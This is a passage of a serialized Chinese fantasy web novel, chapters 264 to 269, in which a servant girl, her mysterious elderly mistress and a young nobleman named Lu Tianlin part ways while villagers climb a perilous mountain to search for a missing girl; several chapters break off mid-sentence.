“什么?欢儿方才差点……”闻此,老妇人方才恍然大悟,意识到了欢儿脸上的不对劲。于是,便急急欲要起身来到欢儿的身旁去查看她的伤势,男子见了忙伸手过去将其扶稳。

欢儿见了,亦同时朝其疾奔过去扑通一声跪倒在地,紧紧抱着老妇人的双腿嚎啕大哭起来:“老夫人,欢儿知道错了,欢儿真的知道错了。可是,哪怕你打欢儿也好,骂欢儿也罢,欢儿只求你,无论如何,

千万不要赶欢儿走。老夫人是欢儿在这个世上唯一的亲人,欢儿这一辈子都要陪着老夫人,呜呜呜……”

闻此,老妇人紧紧皱着眉头,流着泪伸出颤颤巍巍的双手来轻抚了抚印在眼前欢儿那张红肿的婴儿肥脸上一脸的手指印,继而将她的脸轻轻捧起,嘴唇哆嗦着煞是心疼地道:“疼吗?”

“不疼,只要老夫人您好好的,让欢儿做什么都行,欢儿什么都不怕。”欢儿则依旧天真无邪地抬头注视着老妇人的脸,含泪笑道。

老妇人将其缓缓扶起,替其顺了顺凌乱的发丝,顺势一把将其紧紧地拥入怀里,似是想要将她今日里所受到的所有惊吓都抚平了一般。

许久后,欢儿先回过神来站直了身子,用手背抹了一把脸庞的泪水,对老妇人欣喜地介绍说道:“老夫人,今日多亏了这位陆大哥,欢儿方才得以脱险。”

“今日我们主仆俩的确是应该多谢这位陆公子的救命之恩,老身给你行礼了!”老妇人亦是致谢道,说着便欲屈膝下去朝其行礼。

男子飞快地伸手一把将其扶住,慌忙道:“老夫人对在下行此大礼,这可如何使得。‘路见不平,拔刀相助’都只不过是举手之劳而已,又何足挂齿。”

继而,男子玉立着望向凉亭外,眼神黯然悠长地默默说道:“只是…如今我西秦乃是多事之秋,俩位若是无特别紧要的事,还是呆在家中比较安全。‘暴政之下必有勇夫’,如今灵空各国对我西秦大地本就都虎视眈眈,却偏偏这个时候,内乱亦是各地纷纷四起。不知何时,才能还我西秦一个国泰民安,太平盛世呢?”

“那一天,很快了……”老妇人亦追随其目光望着凉亭不远处,地上的一袭红衣壮汉尸身意味深长地道。

闻此,男子不禁有些吃惊地回过头来,朝着老妇人似是一脸不可思议地怔望着。

这时,欢儿心里忽然升起一抹顾虑,吞吞吐吐地开口问道:“陆大哥,方才你不是说还有要事要办吗?那我们…会不会拖累了你?”

男子闻声方才忽地醒了过来,看着她的眼睛笑着道“哦,没事的。反正我也是奉家父之命,在四处寻找一个人罢了。刚好乘着送你们回家,沿途里打听打听也好,或许还会有什么消息也未尝不可。”

话音刚落,伴随着男子发出的一个极响亮的哨声,一匹棕褐色骏马从一小树林里

第二百六十四章:我们是不是见过?

王二眼睁睁看着村里所有的青年壮丁全都一一绕过了自己挡在祠堂门中央前的身子,一起浩浩荡荡地朝着山里奔去,唯独拒绝了自己的加入,心里失望极了。

他缓缓起身来,转头看着那渐行渐远,声势浩大的寻人队伍背影,心里一急,突然灵光一闪,似是想起了什么。

于是,只见他拔腿便亦只身离开了祠堂,急急向着一条山间鲜为人知的崎岖小道而去。

刚走到快至山脚下的小溪边,见一满脸热情洋溢,又俏皮灵巧的与欢儿年龄相仿的小姑娘与其相向而行着走过来。

这姑娘便是在前几日村里的元宵之夜,游灯走桥时不慎撞到了若曦,又将自己手里拎着的两只活灵活现的兔子灯让了一只出来给其以示道歉的人。

那姑娘一近身便有些纳闷地关切问道:“王叔,怎么是你啊?听说你不是生病了吗?怎么不在家里好好修养,这急匆匆的是想去哪儿啊?”

王二似是亦有些劳累地顿足下来,一边抹汗,一边气喘吁吁道:“哦,原来是小妮子啊,我还当是谁呢!你今日怎么这么早便上山来了,都采了些什么呀,看你背都背不动了?”

王二一边说着,瞥了一眼小妮子背上的小背篓。

小妮子亦毫不吝啬地将自己肩上的小背篓斜到了王二的面前,朝其一脸喜色道“哦,是这样的。昨夜不是下了一场雨嘛,俺娘说这个时候的车前草叶子最是鲜嫩了,极适合做野菜,还能做包子馅,便让我来山脚下采一些回去,乘这机会多做一些,也给老夫人和欢儿送过去一些。我又见白蒿子亦正长地茂盛,便也一同采了些。回去让俺娘将其和糯米粉混在一起做蒿子粑粑,或者和鸡蛋炒着吃,味道也很清新呢。王叔,到时候来我家吃饭吧。你这身子,好不容易被那位姑娘舍身给救了回来,以后可一定要仔细当回事儿才行啊!”

闻此,王二的脸上顿时一脸歉然,道:“这次真是麻烦大家,让大家都为我担心受累了,对不住啊!”

小妮子叹了口气,黯然道:“唉…我们大家倒是也都并没做什么,只是那位姑娘…昨夜雨一变小,樵夫便带人摸黑去山里都寻了个遍,听说其中几个人还受伤了,然那姑娘就像是人间蒸发了一般不见了踪影,真希望她能够‘吉人天相’……对了,王叔你还没告诉我,你这是要打算去哪儿啊?”

王二这才急急回过神来,嘴角故作含笑着吞吞吐吐道:“我…我实在是在家歇不住,便想出来走走透透气。对了,你快回去吧,待会儿你娘该着急了!”

“那你一个人…真的可以吗?”小妮子依旧蹙眉替其忧心道。

“唉,走吧走吧,才小小年纪怎么就如此婆婆妈妈了,这若是长大了还了得。让你走,你便走就是了,快走快走,走啊……”岂料王二竟忽然似是哄赶一般地朝着小妮子急急摆手,不厌其烦地道,就差亲手将她推着回去了。

无奈,小妮子只好嘟

囔着妥协,最后叮嘱其说道:“这天刚下过雨,山里路滑,王叔你身上的病还没好利索,可千万不能进山去啊!村里的汉子都已经进山去寻那姑娘了,你就放心吧。那…小妮子先回去了,你也早些回去,记得晚点儿一定要来我家吃饭哦。”

“知道了,知道了,我一定会去的,快回去吧!”王二催促着。

小妮子说完,便似是仍旧不放心地三步一回头,时而还驻足下来片刻,缓缓离去。

直到看着其身影拐了道弯,最终消失在自己的视线里,王二方才微微摇摇头,喃喃自语道:“原来这么多年里,村里的人都对我王二如此照顾。以后,我王二再也不好吃懒做了,我一定会努力做个自食其力的人,谢谢你们大家!”

情真意切地默默将话一说完,王二便似是瞬间浑身都充满了无穷的力量,转头兀自毫不犹豫地踏上了那条已经二十几年都未走过,差点儿就快要被他忘记的上山羊肠小道上。

那里,有一个这世上只有俩人才知道的神秘地方。

快到晌午饭的时候,欢儿主仆俩终于风尘仆仆地被男子送回到桃花店村里。

欢儿和男子俩人先下马来,再一起将老妇人扶下,欢儿有些奇怪地看了看门前四周,纳闷地沉声自言自语道:“奇怪,今日村子里怎么这样安静?平日里那些无所事事的人们总爱聚集在她家门前附近的一棵老槐树下天方夜谭,今日里却一个影子都不见了。”

一推开家门,欢儿便高兴地朝内大声疾呼道:“若曦,若曦,老夫人回来了……”

“咦,怎么没声音呢?难道还没回来吗?或者是又出去了?”欢儿一边心里纳闷着,一边急急进屋替老妇人换洗上了一套干净衣裳。

方才小心翼翼地将虚弱的主人扶起身来坐下,又向其与男子二人奉上了热茶。

这时,坐在一旁的男子终于忍不住一路上心里的纳闷与惊诧,开口问道:“老夫人,没想到你们住在这么偏僻的地方,沿途似乎再也不见任何其他村庄和人影。在下竟不知在西秦国里,还有一个如此似是被遗忘了的角落。不知,这个村子叫什么名字?”

“陆公子请用茶,这里叫作‘桃花店村’,是比较偏僻,鲜为人知。这次,我们主仆俩,真是幸亏遇到了陆公子,否则……对了,还未请教公子尊姓大名,家住何处?”老妇人至今似是仍还惊魂未定地客气道。

“‘’桃花店‘…醉漾轻舟,信流引到花深处,尘缘相误,无计花间住。烟水茫茫,千里斜阳暮,山无数,乱红如雨,不记来时路。’这里倒的确是个不惹尘埃的世外桃源,不乏是一个避世的好地方。不过,老夫人无须多礼,今后唤我‘天麟’即可。”男子抿了口茶汤,谦虚地幽幽道。

老妇人正要轻抿一口手里的茶汤,然眼看着已到了嘴边却嘎然而止,惊愣住了道:“‘陆公子’…‘天麟’…‘陆天麟’…公子叫做‘陆天麟’?”

“正是,在下乃是西秦学院陆贤之子,陆天麟。”男子此时方才正式向其介绍自己道。

“西秦学院…陆贤之子…陆天麟,他竟是陆贤的儿子,竟然都已经这么大了……”老妇人怔愣着捧着手里的茶汤,嘴里喃喃重复道,那声音小的似是连她自己都听不见,然心里却对此名字似是如雷贯耳一般。

“老夫人,我们…以前是不是在哪儿见过?”这时,陆天麟亦好像方才注意到换上了一身干净衣裳的老妇人,其眉眼里的不凡气质好似以前在哪里见过一般,便犹犹豫豫地问道。

闻此,老妇人忙回过神来,轻抿了口手里的茶汤,故作平静地含笑说道“哦,老身在这个村子里已经度过了大半辈子了,除了昨日里第一次出了个远门,还不慎迷路,跌入了泥潭里又崴了脚。又怎么会认识公子呢?想必,许是老身和公子以前所见的什么故人面相上有几分相似吧!”

陆天麟心里亦只是有浅浅的几分怀疑,闻此也只能就此作罢道:“或许吧,真是对不起,是天麟冒昧了。天麟有一事想请问老夫人,最近村子里有没有见到什么陌生人出现?”

“陌生人…不知公子所言是什么样的陌生人?对了,听公子方才讲,好像是在寻什么人?”闻此,老妇人顿时将眼睛一怔,似是心里已猜到了几分,继而又试探着问。

“哦,是这样的。家父让天麟在城南寻找一个身份神秘…一个整日里遮着面纱,看上去约摸有十七、八岁的女子。”陆天麟言语里显然保留了许多,道。

闻此,虽然直觉告诉她,陆贤父子应该是自己可以信任的人。但她如今已是身不在皇城太久,对于现在朝堂上的一切都尚未可知,为防万一,她还是多留几分心的比较好。

于是,老妇人浅笑回道:“这桃花店村里,地处偏僻又不繁华,人们素来一向是只往外走去看外面的世界,从未曾听说过有人进来。”

陆天麟听了,似是正有些垂头丧气地低头思索着,忽然,欢儿眼睛咕噜一转,似是想说些什么,急道:“老夫人,会不会……”

“住嘴!”岂料欢儿话刚开口,便被老妇人厉声呵斥制止住。

欢儿知道主人一定是责备自己多嘴了,抿了抿嘴,便转念说道:“老夫人,您一定饿了吧?欢儿先去庖屋里给您和陆公子煮些饭汤,然后再去村里王二家找若曦回来吧,她一定是还在王二家呢,可好?”

“嗯,你先下去吧。待会儿若是找到了若曦,她眼睛不好,你好好帮她检查检查,莫要让她因此而耽误了王二的病情。王二家里没人照料,你们俩个都不必急着回来。”老妇人话中有话地吩咐道。

欢儿领悟其意后,正欲转身退出去,陆天麟忙站起身来伸手将欢儿拦住,道:“不必了,老夫人,欢儿姑娘。既然天麟已经将二位平安送回家中,便不在此久留了。天麟还得尽快去办父亲所交待的事。就此别过,二位,后会有期!”

第二百六十五章:你死定了!

欢儿领悟其意后,正欲转身退出去,陆天麟忙站起身来伸手将欢儿拦住,道:“不必了,老夫人,欢儿姑娘。既然天麟已经将二位平安送回家中,便不在此久留了。天麟还得尽快去办父亲所交待的事。就此别过,二位,后会有期!”

眼看着自己的救命恩人就这样要离开了,刚侧过身去的欢儿心里顿时一怔,随即神情慌张,满腹焦急地顿足停了下来。

然碍于老妇人方才至今还回荡在她耳畔的训斥之声,她又不敢再开口说一个字,只能蹙眉默默地看着老妇人似是对男子就此离去而根本无动于衷的一张平静极了的脸。

她多希望主子能开口将恩人的脚步留住,至少让她自己亲手煮一餐粗茶淡饭来招待他一下,以示感谢。

然老妇人却只管捧着手里的茶碗一边独自吹开那漂浮于茶水之上的青青茶叶,一边漫不经心地道了一句:“既然如此,那老身就不留公子了。欢儿,送客!”

见此,陆天麟的脸上似是亦顿时现出了一抹尴尬之色,却依旧强忍着内心里莫名的一丝纳闷与不解,炯炯目光不经意地落在了老妇人正捏着茶碗盖的手腕之上。

只见“一寸紫檀一寸金”,素来拥有“帝王之木”的美誉的一串无论是色泽还是质地,都相当珍贵的紫檀手链,此时却套在一位与其身处于如此一个穷乡僻壤身份极不相符的老妇腕上。那串紫檀珠子世间少有,看起来却又似有几分眼熟,像是在哪里见过。

怔愣了片刻,陆天麟兀自故作一脸平静地对其微微笑了笑,继而转身大步走出了屋子。

欢儿忙跟随其脚步亦夺门而出。

到了门口,她手里牵着缰绳亦是极为不解地对陆天麟说道:“陆公子,真是不好意思。我们老夫人平时不是这样的,今日里不知道是怎么了,她从来都没有对人这个样子过。”

“欢儿姑娘不必放在心上,许是你家主人刚受了惊讶,至今还惊魂未定吧。不碍事的,你还是速速回去好生照顾她。若是有缘,我们一定还会再见的,姑娘保重!”话一说完,陆天麟便接过欢儿手里的缰绳,兀自一步跨上了高高的马背。

继而只闻“驾”的一声,便策马朝着方才来时的路上头也不回地奔腾而去。

留下欢儿一人独自站在门口,默默地望着其渐行渐远,高大伟岸的潇洒背影,满腹的五味杂陈着。

不知过了多久,目光早已不及陆天麟翩翩离去的身影,欢儿终于回过神来无奈地轻叹了口气。

正欲转身进门去,一阵清脆如百灵鸟般,快乐的女子声音叫住了她“欢儿姐!”

欢儿闻声忙朝其侧头看了过去,接着一脸欣喜地道:“小妮子,你拎着这么沉的篮子,是要去哪儿啊?”

小妮子近身上前将竹篮盖子掀开来一角,含笑说道:“欢儿姐,这是我娘用我今天早起刚从山脚下采回来的极鲜嫩的车前草叶子所做的素包和味道清新的蒿子粑粑,还有几样家常小菜,再加上这色香味俱全的素什锦汤,让你和老夫人也一起尝尝。元宵节那夜,我不小心撞到了你家客人,真是对不起。”

欢儿听闻,忙推让着道“小妮子,你这是做什么?大家都乡里乡亲的,干嘛这么见外。若曦她又不是纸糊的,撞一下怕什么,再说了,你那晚还送了我一只精美的兔子灯呢。那照这样说的话,我是不是也要还你一盏灯呢?快拿回去,快拿回去,你们自己吃吧!”

“欢儿姐,你就拿着吧,我娘做了太多,不吃就都坏了,若是扔掉了多可惜啊!”小妮子推着竹篮坚持道。

闻此,欢儿似是已无法再拒绝,于是,一脸难色地勉强道:“好吧,这次我就暂且收下了,不过以后可千万别再这样了,老夫人会不高兴的。”

看着欢儿终于欣然肯接过了她手里的竹篮,小妮子声音清脆地乐道:”知道了,欢儿姐。”

这时,小妮子渐渐褪去了脸上的笑容,顿时犹豫地小心翼翼问了声道:”对了,欢儿姐,你和老夫人…都还好吗?”

闻声,欢儿猛地抬头望着小妮子那清澈的一双明眸,心中突然惊愣了一下,她们刚刚所遭遇的事,怎么会这么快便有人知道了。

方才她回来的时候明明并未见到门前有任何人影啊,难道是自己受了惊吓,产生了幻觉。

于是,欢儿抿了抿嘴,沉吟答道:“嗯,虽是都受了些惊吓,但也还好,一切都会慢慢好起来的。老夫人她不是个普通的人,这点儿事,她还是能抗过去的。”

小妮子顿时松了口气,连连说道:“那就好,那就好,先前大家都还在为你们担心呢……”

欢儿浅笑,小妮子突然注意到欢儿脸上的伤痕,惊道:“咦,欢儿姐,你的脸是怎么了?”

欢儿顿时将脸捂住,扯谎道:“喔,没事,我自己不小心弄的。”

小妮子心里有些纳闷,但想着竹篮里的饭菜可能快要凉了,于是便最后说道:“既然如此,那欢儿姐赶快回去照顾老夫人吧,你自己也要当心自己的

第二百六十六章:小妮子,你错了!

就在陆天麟心里正暗自对于老妇人的神秘身份做出种种猜忌,疑惑重重时,不知不觉中已经远离了桃花店村,到了距离其约摸有两三里路程之遥的一山脚下的两个分岔路口。

手牵骏马,驻足站在这个山花遍地,小草青青,又因为昨日的一场大雨过后,至今都尚还有些许泥泞的分岔路口,显而易见其中的一条路是可以上山去的。而他要走的路,正是另一条可以通往外面的喧嚣复杂,又繁花似锦的宽阔大道。

忽然,一股浓郁的桃花香气扑鼻而来,他似是本能地抬起头来朝着四周放眼寻了过去。

这才远远看到,原来,在另一条可以通往山上的路尽头,山脚下竟有一片甚是壮观旺盛的十里桃林正在争相怒放着。

大雨将一片片粉红粉红的桃花花瓣打落了一地,就像是给这片本就天真质朴的土地涂上了一层绯红色,甚美!

“桃花春色暖先开,明媚谁人不看来。可惜狂风吹落后,殷红片片点莓苔。”陆天麟含笑凝神默默感叹道。

就在这时,小妮子拖着欢儿气喘吁吁地亦已经追赶了上来,正欲向着那片十里桃林奔去。

陆天麟忽然缓过神来瞥见,顿感吃惊地出声将其拦住:“欢儿姑娘,欢儿姑娘请留步。”

俩人心里着急,竟没有注意到另一条路上有位翩翩公子的存在。闻声,欢儿亦驻足朝其望去,继而瞪大了眼睛,挑眉惊讶地道:“陆公子,你怎么还在这儿啊?…不会是…迷路了吧?”

陆天麟心下里一着急,竟不知该如何作答。又灵光一闪,便抬手指着山脚下的那片桃林,故作惊喜道:“哦,不是不是,欢儿姑娘莫要担心。我…我只是路经此处,远远地看到那边山脚下的十里桃林甚是壮观罕见,故而驻足下来看看。不知欢儿姑娘,你又为何如此这般神色匆匆的?这么着急,是赶着想要去哪儿吗?我可以捎你一程啊。”

陆天麟说着,挑眉扬了扬手里的马缰绳。

欢儿还在思量琢磨着该如何回他才好,毕竟这么快便又再见到了自己的救命恩人,又听到他这句如此暖心的话,没有人知道她心里有多高兴了。

然一回想起她的主人方才莫名的对这眼前的男子那般的决绝,似是不容许她有半点置喙的将她所有的话通通都噎了回去,欢儿又迟疑了。

这时,她身旁俏皮热情的小妮子毫不客气地说道:“好啊,好啊,有了快马,我们跑得自然比现在快的多了!这位公子,有劳了,我们想要去山里找……”

岂料小妮子话刚说到一半,陆天麟牵着马正欲踱步到俩人身边来,欢儿急急伸出手从侧面死死地堵住了小妮子的嘴,其用力之大,竟瞬间就使小妮子的整个脸憋的通红。



儿就这样一边堵着小妮子的嘴,一边故作笑脸违心地说道:“陆公子,我们俩只是想去山里采些野菜回来,如此小事,就不必劳烦公子费心了。公子还是赶快上路,去办你父亲所交待的要事吧,欢儿就此别过,咱们后会有期!”

话音尚还未落,欢儿便早已将小妮子连拉带拽着,直朝山脚下的桃花林方向疾奔而去。半路途中,时不时地还不住回过头去看看他是不是还停留在原地。

小妮子看见,疑惑不解地问:“欢儿姐,方才那位骑高大骏马,英俊潇洒的公子是何人?以前怎么从来都没在村子里见过。”

欢儿有些出神地一边遐想,一边沉声道:“他是我和老夫人的救命恩人,陆公子!”

“陆公子…既是熟识之人,那欢儿姐方才为何不让他送我们一程?看他身配宝剑,一定是个习武之人。有男子在,岂不更方便些?从大清早至今已有两个时辰了,不知我们还能不能在山里寻到王叔?早知道他是盘算着背着大家伙偷偷进山,说什么一大早我都会将他拖回去的。从这边上山的路极为崎岖,也甚少有人了解路况,而且野兽更容易出来活动,我们俩个弱女子……”小妮子越说心里越害怕,不禁放慢了脚步,最后似是都不敢继续往下说了去。

“此事…一言难尽。毕竟,他是个外人。对了,小妮子,你是怎么知道这里有条上山的路的?”欢儿纳闷不解地问道。

“喔,那是几年前的事了。有一天,我在山里采蘑菇,一不小心迷了路。就在走投无路之际,天亦渐渐黑了下来,就正巧碰到了王叔,是他带我从这条捷径上回到家的。要不是他,我的小命怕是早就要喂了这山里的老虎狮子之类了!”多年以前的事至今说起,小妮子却似是仍有些后怕着。

“几年前...那后来,你还有没有再走过这条山路,如今你还记得吗?”欢儿忽然心里浮起了一抹担忧,只问道。

“我…就只走过那一次,现在...应该...应该还记得吧!”小妮子一边踱步着,垂首咬了咬牙,揉搓着衣角,言语里透出几分并不怎么肯定道。

欢儿见此,顿时将眉头皱的更紧了些,心里默默开始祈祷着“老天保佑,若曦一定不能有事,否则老夫人一定受不了这个打击。虽然我不知道老夫人究竟在做什么,若曦又为何对于老夫人如此重要。但是,我知道,若曦她是个好人,也是个可怜人,她不该如此短命!”

很快,俩名女子便赶到了路的尽头,又拐了个弯,绕过了那山脚下开的正旺的十里桃林,来到了小妮子与王二早晨遇见的地方。

小妮子伸手指着一片空地说道:“喏,这就是我早上遇见王叔的地方

第二百六十七章:独向险山行

欢儿幽幽道:“我相信,在整个桃花店村里,没有人比王二能更熟悉这座山。所以,王二他一定是想到了些什么,否则他不可能带病急着挺而走险踏上这条崎岖小路上山的。而现在全村的汉子都在四处找若曦,所以能让他如此不管不顾的事情,极有可能是关于…若曦的,或许他真的能找回若曦也不无可能。如此,我就更不能眼睁睁看着让他一个人冒险了!”

“可这条路所通往的是上山的路,并不是若曦姑娘所跌落的山坡下方啊。总不见得,若曦姑娘会笨到已然跌下了山坡,竟还又自己爬上来吧!依照她当时所滑下的山坡地势来看,落至坡底反倒更容易被人发现。然如果真是这样的话,樵夫他们一帮人早就应该找到她了才对啊!欢儿姐,你会不会是想多了?”小妮子反驳道。

虽然小妮子分析的亦是句句都在理,然不知为何,欢儿心里总感觉跟着王二走一定不会错。

于是,她长长的舒了口气,最后一咬牙,伸手握紧了小妮子的手,对其意味深长地交待说道:“小妮子,谢谢你今日能带我来这里。接下来的路,就让我自己去走吧!你也已经出来很久了,该赶快回去才是。如果...若是万一我有个什么闪失…我们家老夫人,日后里就拜托村里的大家伙都能够帮忙照顾一二了。欢儿我来生做牛做马,亦会报答你们的。”

“呸呸呸,欢儿姐,你瞎说什么呢?我不许你这么说。”小妮子忙往一旁地上连啐了几口,阻止道。

然欢儿却轻轻摇头,眼里噙满了泪水,将小妮子的双手顿时亦握的更紧了些,示意她认真听自己说话:“你回去代我告诉我们家老夫人,欢儿生生世世都不会忘记她对欢儿的养育和教诲。是欢儿该死,欢儿没用,没能保护好若曦。此次若是不能完好无损地将若曦寻回,欢儿亦再无颜苟活于这个世上。”

话一说完,欢儿便一脸决绝地扭头过去,猛地将自己的双手松开,捂嘴兀自大步直朝着王二的脚印所向之处,疾步奔上了那条惊险重重又似极其诡异的山路而去。

“欢儿姐,欢儿姐……”小妮子心里此时又惊,又怕,又无助极了地朝着欢儿离去的弱小背影声声疾呼着。

此时,她心里不知有多后悔今日她所做的这一切。而此时,她却也只能束手无策地看着欢儿渐去渐远的背影,一边呜呜地哭着,一边抹着伤心的眼泪。

时间只不过须臾,待她再次猛地抬起头来,只见欢儿竟早已消失在自己的视线里,踏入了前方那片看上去高大巍峨,黑压压茂盛而又似蒙着一不尽神秘面纱的密林之中,惊起一群群林间鸟雀来或纷纷飞至密林的上空中盘旋,亦或受了惊吓后便直接四处落荒逃窜了

去。

欢儿此时所登上的,是山的最东头,亦是整条山脉的最高峰,它如鹤立鸡群之势般位于群山之东,与村民们世世代代往日里所习惯经常活动的山西头遥遥相对。

因为老一辈人流传下来说,山的东头以前经常发生野兽吃人的祸事,但又不能将野兽赶尽杀绝,所以不可来山东头惊扰这些山兽,而要与其各取所需,和平共处,便成了村子里纯朴的人们之间人尽皆知的一条不成文的规定。

久而久之,整座山里的树木和山货,便唯以东头这片的长势最为茂盛,品种也最多。

没有砍伐,开采和人工改造,这头山林的环境亦最为原始和险峻,神秘。

据说,山上林木茂盛,中草药遍地皆是,尤其是世间罕见的独叶草为整个灵空大陆里此山之独有。

正是因其丰富的植物资源,才为山里的各种珍禽异兽提供了充足的食物,使其方能够无忧无虑的于这里繁衍生息。

在低山区的岩石裸露处,水流长年累月沿着断裂带流经侵蚀,致使其形成了幽深的峡谷,若是从此坠落,怕是一定会连骨头渣子都不见的。

过了低山区,深谷间则是山梁陡峭,又多呈锯齿状。其间巨石嶙峋又千姿百态,山中林木层峦叠翠,势若屏风。

欢儿一走过虽蜿蜒曲折,但却尚且还在阳光照射下的羊肠小道,到了深山里,只见里面到处竟是那般的阴暗潮湿,且林中尽是一片浓浓的烟雾弥漫着,让人顿时感觉身上极不舒服,她紧紧皱起眉头来,惊呆了,真可谓是“纵使晴明无雨色,入云深处已沾衣。”

视线能及范围更是尤其模糊,只见身边周围高大的树木密密麻麻地排解着,仔细一看,似是还都是一个样似的。

欢儿只不过是一时惊讶,不由自主地挪步走了数步而已,竟已经分不清东南与西北,找不到来时的路,唯只见脚下地面上落满的尽是朽枝与腐叶。

顿时,她对着脚下的地面紧张极了地急转了好几圈,继而慌乱地开口疾呼道:“糟了,王二的脚印,王二的脚印呢?在哪里,在哪里……”

紧接着,只见她扑通一声急急跪倒在地,用一双稚嫩的小手在地上的腐叶之间胡乱一通地寻觅拨动着。

不知过了多久,欢儿似是已绝望地放弃了寻找,黯然神伤地愣坐在潮湿的

第二百六十八章:迷失东山

就这样,俩个年龄相仿,都只不过还是个十三岁上下的孩子,惊魂未定地紧紧抱作一团互相慰籍着。不知过了多久,终于都慢慢平复了些许下来。

俩人经过了一番甚是激烈的争吵之后,小妮子最终还是被欢儿的坚强意志所打败,决定继续陪伴其往前走,去寻找王二和若曦的踪迹。

走着走着,见欢儿气喘吁吁似是已有些无力支撑,小妮子将其扶到一边的山石上坐下,对其关怀道:“欢儿姐,坐下歇会儿吧!”

虽然心中着急,极其不肯,然身体却很诚实,欢儿知道自己已经快要到达极限了。

在桃花店村里,平时她基本上都没怎么上过山,更别说是此时这座高大巍峨又让人心惊胆战,处处凶险诡异的几乎是一片绝地了。

她终是被小妮子按着坐了下来,小妮子又摘下一片大树叶,疾步跑到距离不远的一边,接了许多清澈甘甜的山泉来递给欢儿。

自己则单手叉腰,用衣袖拭了拭汗水,驻足朝着四周快速地扫了一圈,兀自转身似是动作相当熟练地爬上了一棵参天大树。

欢儿刚刚饮下了一口甘泉,方觉神清气爽了许多,这才慢慢拭起了额头的细汗来。

然猛一抬起头来,见到小妮子正蹲身在一高大的半树腰上,便忽地站起身来朝其惊声大喊道:“小妮子,危险,快下来,你在做什么?”

然小妮子却只是朝其神秘地笑着,轻描淡写地回应了她一句:“放心吧,我不会有事的。”

很快,便见小妮子拖着一根从树上折下来的硬树枝缓缓走来,近身到欢儿身旁后去除了上面几个多余的细小分支和绿叶,继而又将其用脚踩着,大力地折断一分为二,递给了欢儿一根,满脸欣喜道:“有了这个,欢儿姐就不会感觉那么累了。”

闻此,欢儿顿时眼里噙满了泪水,咬着嘴唇,一把将小妮子紧紧地揽入怀中,语重心长地道:“小妮子,小妮子,你可千万别再做这种傻事了。你要是有个什么闪失,那我可怎么办呢……”

就这样,俩个此时相依为命的弱女子各自手里拄着一截树枝,偶尔将其当拐杖用,偶尔用其拨动着沿途周围里地上厚厚堆积着的枯枝腐叶,或寻觅着有关于王二和若曦的蛛丝马迹,或查看到处危机四伏的陷阱或险境,手牵着手继续开始仔细地在深山里走走停停、困难重重,爬上溜下地到处寻觅起来。

七拐八拐的,俩人却不禁又绕回到了这块尖石旁来。

不远处的那股清泉仍然清晰可见,方才小妮子自制拐杖时所剥落的几片新鲜树叶与残枝,尚且都还踩在脚下。

于是,俩人面面相觑着,心里都不约而同地意识到,原来她们又绕回到了原地,她们…又迷路了。

东山太大了,与小妮子经常出没的西山相比,那西山俨然就如是它的九牛一毛般渺小,恍若不见。

而显然,小妮子亦果然早已忘记了很多年前王二曾带她摸黑所走过的路。

可纵使这样,亦不能将这俩个坚强的小姑娘就此打倒。

很快,俩个女子又互相搀扶着跌跌撞撞地再次出发,偶尔还不忘在路经过的树干上以尖石刻下些许记号,代表是已经走过的路。

俩人一起又不知在山林里穿梭了多久,直到再也没看见那些刻在树上的记号,看来这次似是真的已经走出了那片令她们迷失的迷惘丛林。

沿着山路一直往前走,只见一路上尽是古木参天,浓荫铺地。

与这时节尚还比较荒芜的西山相比,原来东山之中早已是处处都展现出了一派生机盎然的景象来。

小妮子看着这一路上甚是令人叹为观止的山珍野味,眼睛瞪大的圆溜溜的,欢喜极了地道:“欢儿姐,原来东山里真是像村民们所流传的那般富饶。你看这一路的板栗、猴头、枇杷、蘑菇、还有木耳等,西山之长势与之相比,简直差之何止是千里万里啊!”

欢儿则更感叹这虽然惊悚,但却是繁华一路上所际遇的各种奇珍异草:“是啊,这里一路上我所见的灵芝、贝母、黄莲、三七、小紫苑、各种参类还有黄芪、黄精、天麻、首乌、菖蒲、大黄、太羌、威灵仙、独活、五味子、灵芝、猪苓、升麻、柴胡、前胡等,其储量和长势都是极好的,这里的药材资源实在是太惊人了!老夫人若是知道了,一定会很高兴的。尤其是这个,小妮子你看:这是在世上如凤毛麟角般罕见难得,被视为世间珍宝的独叶草,竟会存在于这座山中……”

欢儿正蹲身下去在一片潮湿洼地、土质松软,苔藓密布的红杉树下,津津有味地向小妮子指着介绍一种只长有一叶的绿色植物时,忽然,从附近发出来的一阵鸟鸣声引起了俩人的注意。

寻声觅去,突然看到前方有一只似乎极为惊慌失措的小鸟现了出来,俩人顿时面面相觑着驻足下来,不知这只单独出现的雏鸟究竟发生了什么。

“莫非是它哪里受伤了吗?”欢儿心里一边喃喃猜测着,一边迈步上前去欲要替其查看。

就在这电光石火之间,突然从雏鸟身旁一水沟边不远的乱石堆中,窜出来一条大蛇,不偏不倚正好将那只雏鸟的头部一口死死地咬住。

欢儿看着眼前如此渗人的景象,惊呆了!

只见那只可怜的雏鸟,在一条体态健硕,面目甚是狰狞的大蛇的口中顿时便失去了全身所有的意识。

而接着,大蛇便用其长长的牙齿开始将它所捕获的猎物一寸

第二百六十九章:一路上有你

小妮子机灵地将身子一闪,便躲过了雄赳赳,气昂昂的五步蛇所发出的第一次攻击。然手中的木棍也未能将腾起的大蛇击中半分,五步蛇只是跌落在了地上。

然它却并未放弃作战而四处逃窜去,却是立即调头卷土重来,再次向小妮子的脚下快速地滑行了过来。

眼看着这次极近距离,且更快更为凶猛的再次攻击,五步蛇俨然是冲着小妮子的小腿欲要扑跳上去,就在其正欲跃起的时候,欢儿瞬时捂起了自己的眼睛,发出响震整片山林的一声惨叫道:“不要啊,小妮子……”

此刻,欢儿只觉的周围世界里一片漆黑,似是所有一切都停滞了下来。

心跳,呼吸,意识,就连千万年来世间亘古不变的这空气亦都瞬间凝结了住,甚至那山里的风,也都因为此刻眼前所发生的人间惨剧而亦停了,唯独只有耳边一直嗡嗡作响着。

不知过了多久,欢儿终于似是慢慢地缓过了神来,继而缓缓松开了蒙在自己呆滞的眼睛上的一双手,想要看看小妮子最后一眼。

岂料,她的眼前竟突然什么都没有,没有小妮子的尸体,也没有五步蛇的踪影。

一时间里,欢儿紧紧握着那根明明是小妮子为她悉心制成的拐杖,望着眼前的一切惊呆了。

仿佛方才所发生的一切都像是一场梦一般,小妮子被她挡在了山下不曾追上山来,而世间奇毒的五步蛇也似是根本就没有出现过一般。

“难道这一切都是幻境,我的幻觉?”欢儿纳闷地看着自己手中的拐杖,喃喃自语道。

话音刚落,一似是百灵鸟般清脆的女子声音突然在她的身后响起,道:“欢儿姐!”

